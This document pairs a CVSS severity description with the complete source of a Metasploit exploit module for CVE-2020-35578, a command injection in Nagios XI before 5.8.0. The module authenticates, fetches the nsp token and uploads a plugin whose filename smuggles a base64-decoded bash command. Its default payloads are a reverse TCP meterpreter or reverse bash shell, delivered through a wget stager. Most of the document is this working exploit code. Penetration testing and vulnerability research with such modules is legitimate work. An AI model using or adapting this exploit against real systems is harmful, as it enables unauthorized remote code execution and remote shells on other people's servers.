The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection',
'Description' => %q{
This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php`
page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows
an authenticated admin user to achieve remote code execution as the `apache` user by uploading
a malicious plugin.
Valid credentials for a Nagios XI admin user are required. This module has
been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both
running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Haboob Team', # https://haboob.sa - PoC
'Erik Wynter' # @wyntererik - Metasploit'
],
'References' =>
[
['CVE', '2020-35578'],
['EDB', '49422']
],
'Platform' => %w[linux unix],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86/x64)', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
# only the wget and perhaps the curl CmdStagers work against a typical Nagios XI host (CentOS 7 minimal) if Nagios XI was installed according to the documentation
'CmdStagerFlavor' => :wget,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-12-19',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
'Reliability' => [FIRST_ATTEMPT_FAIL] # payload may not connect back the first time
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def finish_install
datastore['FINISH_INSTALL']
end
def check
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
# an array containing the http response body of a get request to index.php and the session cookies
login_result, res_array = nagios_xi_login(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is not fully installed
install_result = install_nagios_xi(password)
if install_result
return CheckCode::Unknown(install_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is still not fully installed
return CheckCode::Detected('Failed to install Nagios XI on the target.')
end
end
# when 5 is excluded from the case statement above to prevent having to use this code block twice.
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
if login_result == 5 # the Nagios XI license agreement has not been signed
auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return CheckCode::Unknown(sign_license_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3
return CheckCode::Unknown(res_array[0])
when 5 # the Nagios XI license agreement still has not been signed
return CheckCode::Detected('Failed to sign the license agreement.')
end
end
print_good('Successfully authenticated to Nagios XI')
# Obtain the Nagios XI version
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end
print_status("Target is Nagios XI with version #{nagios_version}")
# check if the target is actually vulnerable
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.
end
@version = Rex::Version.new(nagios_version)
if @version < Rex::Version.new('5.8.0')
return CheckCode::Appears
end
return CheckCode::Safe
end
def execute_command(cmd, _opts = {})
# Convert the payload to hex ASCII and then Base64 encode the payload.
# This is necessary for the exploit to work.
payload_ascii = Rex::Text.to_hex_ascii(cmd)
payload_base64 = Rex::Text.encode_base64(payload_ascii)
payload = ";echo #{payload_base64} | base64 -d | bash;#"
register_file_for_cleanup("/usr/local/nagios/libexec/#{payload}") # deleting the payload via the web interface doesn't seem possible
# generate post data
post_data = Rex::MIME::Message.new
random_post_content = rand_text_alphanumeric(8..12)
post_data.add_part('', nil, nil, 'form-data; name="upload"')
post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')
post_data.add_part(random_post_content, 'text/plain', nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload}\"")
post_data.add_part('1', nil, nil, 'form-data; name="convert_to_unix"')
# upload payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => @auth_cookies,
'data' => post_data.to_s
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
end
def exploit
if @version < Rex::Version.new('5.3.0')
fail_with(Failure::NoTarget, 'Target is vulnerable but this module currently does not support exploiting target prior to 5.3.0!')
end
# visit /admin/monitoringplugins.php in order to get the nsp token required to upload the payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),
'cookie' => @auth_cookies
})
unless res
fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`")
end
unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>')
fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`")
end
# grab the nsp token, using the Nagios XI mixin
@nsp = get_nsp(res)
if @nsp.blank?
fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
end
if target.arch.first == ARCH_CMD
print_status('Executing the payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end